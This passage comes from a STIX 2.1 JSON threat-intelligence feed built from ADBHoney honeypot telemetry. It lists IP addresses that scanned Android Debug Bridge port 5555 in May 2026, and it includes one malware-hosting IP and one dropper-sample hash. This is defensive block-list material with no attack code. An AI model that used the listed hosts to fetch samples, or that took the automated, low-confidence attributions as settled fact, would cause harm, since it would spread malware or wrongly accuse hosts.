      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=14 | first_seen=2026-05-08T03:59:44.000Z | last_seen=2026-05-08T04:09:59.100Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--3e9e08fe-527f-4543-9e11-b95de252f19a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '174.169.139.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:00:03.000Z",
      "valid_until": "2026-06-09T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 14,
          "first_seen": "2026-05-08T03:59:44.000Z",
          "last_seen": "2026-05-08T04:09:59.100Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-08T06:05:50.000Z | last_seen=2026-05-09T20:28:01.509Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--326d743d-488a-4fe3-9a45-c9da414544f4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:00:03.000Z",
      "valid_until": "2026-06-09T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-08T06:05:50.000Z",
          "last_seen": "2026-05-09T20:28:01.509Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=60; ports=5555; cc=US; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=2\n\nObserved in ADBHoney telemetry for 2026-05. events=60 | first_seen=2026-05-08T06:50:35.000Z | last_seen=2026-05-08T06:52:47.017Z | ports=5555 | cc=US | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--e3f25d2e-2d4c-48b8-9c14-c9f375a72d10",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.251.245.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:00:03.000Z",
      "valid_until": "2026-06-09T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 60,
          "first_seen": "2026-05-08T06:50:35.000Z",
          "last_seen": "2026-05-08T06:52:47.017Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T10:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=18 | first_seen=2026-05-08T09:07:16.000Z | last_seen=2026-05-08T09:17:32.977Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--9c9f44ea-a4f8-4f2f-9918-97a835615f0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.197.118.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:00:04.000Z",
      "valid_until": "2026-06-09T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 18,
          "first_seen": "2026-05-08T09:07:16.000Z",
          "last_seen": "2026-05-08T09:17:32.977Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T10:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=SE; asn=42237; asn_org=w1n ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-08T09:10:01.000Z | last_seen=2026-05-08T09:11:09.758Z | ports=5555 | cc=SE | asn=42237 | org=w1n ltd",
      "id": "indicator--9f0c0581-4492-4bc8-90a9-6fda960bc7a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.217.0.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T10:00:04.000Z",
      "valid_until": "2026-06-09T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-08T09:10:01.000Z",
          "last_seen": "2026-05-08T09:11:09.758Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SE"
          ],
          "asn": [
            "42237"
          ],
          "org": [
            "w1n ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T12:00:30.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-08T11:27:34.000Z | last_seen=2026-05-11T15:32:34.428Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--cc0f9641-d1c4-4acf-8690-876185165e80",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:00:30.000Z",
      "valid_until": "2026-06-09T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-08T11:27:34.000Z",
          "last_seen": "2026-05-11T15:32:34.428Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T12:00:30.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-08T11:26:19.000Z | last_seen=2026-05-08T11:27:27.297Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--adf4289a-2c0e-43fa-86c3-2d12d1b72d15",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:00:30.000Z",
      "valid_until": "2026-06-09T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-08T11:26:19.000Z",
          "last_seen": "2026-05-08T11:27:27.297Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T13:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/5ebfe56dbcf1ef0f649a021348cba32d0d27a799f80f80eed744e46eb5d522b6.raw; last_seen=2026-05-08T12:22:19.529Z",
      "id": "indicator--7d3602e1-b525-4ee8-a672-e522cf764c4d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '5ebfe56dbcf1ef0f649a021348cba32d0d27a799f80f80eed744e46eb5d522b6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=215590; asn_org=DpkgSoft International Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-08T13:34:54.000Z | last_seen=2026-05-08T13:45:05.313Z | ports=5555 | cc=US | asn=215590 | org=DpkgSoft International Limited",
      "id": "indicator--55939219-7c87-4d61-9ac7-2b1dcb6e387c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '2.26.105.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:00:03.000Z",
      "valid_until": "2026-06-09T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-08T13:34:54.000Z",
          "last_seen": "2026-05-08T13:45:05.313Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215590"
          ],
          "org": [
            "DpkgSoft International Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=109; ports=5555; cc=US; asn=20473; asn_org=The Constant Company, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=126 | first_seen=2026-05-08T13:07:52.000Z | last_seen=2026-05-08T14:17:00.291Z | ports=5555 | cc=US | asn=20473 | org=The Constant Company, LLC",
      "id": "indicator--8976ba81-e50d-4e46-b94b-fa6abafc94da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.128.152.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:00:03.000Z",
      "valid_until": "2026-06-09T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 126,
          "first_seen": "2026-05-08T13:07:52.000Z",
          "last_seen": "2026-05-08T14:17:00.291Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "20473"
          ],
          "org": [
            "The Constant Company, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T15:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LT; asn=209605; asn_org=UAB Host Baltic; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-08T14:27:33.000Z | last_seen=2026-05-08T14:28:41.019Z | ports=5555 | cc=LT | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--21d34aaf-0fd9-48ba-a7ee-f1710944abc6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.98.10.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:00:10.000Z",
      "valid_until": "2026-06-09T15:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-08T14:27:33.000Z",
          "last_seen": "2026-05-08T14:28:41.019Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LT"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T15:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=27; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=27 | first_seen=2026-05-08T14:22:59.000Z | last_seen=2026-05-08T14:35:07.118Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--28a8001a-6740-4e7d-a714-707e289510db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.80.88.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:00:10.000Z",
      "valid_until": "2026-06-09T15:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 27,
          "first_seen": "2026-05-08T14:22:59.000Z",
          "last_seen": "2026-05-08T14:35:07.118Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T16:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-08T15:50:18.000Z | last_seen=2026-05-08T15:51:23.587Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--683d0594-2336-47bc-bf06-48eb8913bd54",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.236.117.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:00:01.000Z",
      "valid_until": "2026-06-09T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-08T15:50:18.000Z",
          "last_seen": "2026-05-08T15:51:23.587Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T16:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-08T15:38:09.000Z | last_seen=2026-05-08T15:48:11.447Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a4783fb3-c137-4404-82bd-bd67c6780023",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:00:01.000Z",
      "valid_until": "2026-06-09T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-08T15:38:09.000Z",
          "last_seen": "2026-05-08T15:48:11.447Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T16:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-08T15:37:13.000Z | last_seen=2026-05-08T15:38:14.306Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--524d3ced-a65e-4fbe-bac2-764712ef35e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:00:01.000Z",
      "valid_until": "2026-06-09T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-08T15:37:13.000Z",
          "last_seen": "2026-05-08T15:38:14.306Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-08T19:25:14.000Z | last_seen=2026-05-08T19:26:21.710Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--8a06f8d5-970c-4357-986f-549c4cd5242b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.230.235.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:00:02.000Z",
      "valid_until": "2026-06-09T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-08T19:25:14.000Z",
          "last_seen": "2026-05-08T19:26:21.710Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=71; ports=5555; cc=ES; asn=41608; asn_org=NextGenWebs, S.L.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=71 | first_seen=2026-05-08T19:01:26.000Z | last_seen=2026-05-08T19:12:41.591Z | ports=5555 | cc=ES | asn=41608 | org=NextGenWebs, S.L.",
      "id": "indicator--79c43c0e-9ddc-46de-b39d-947fa573451e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.170.172.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:00:02.000Z",
      "valid_until": "2026-06-09T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
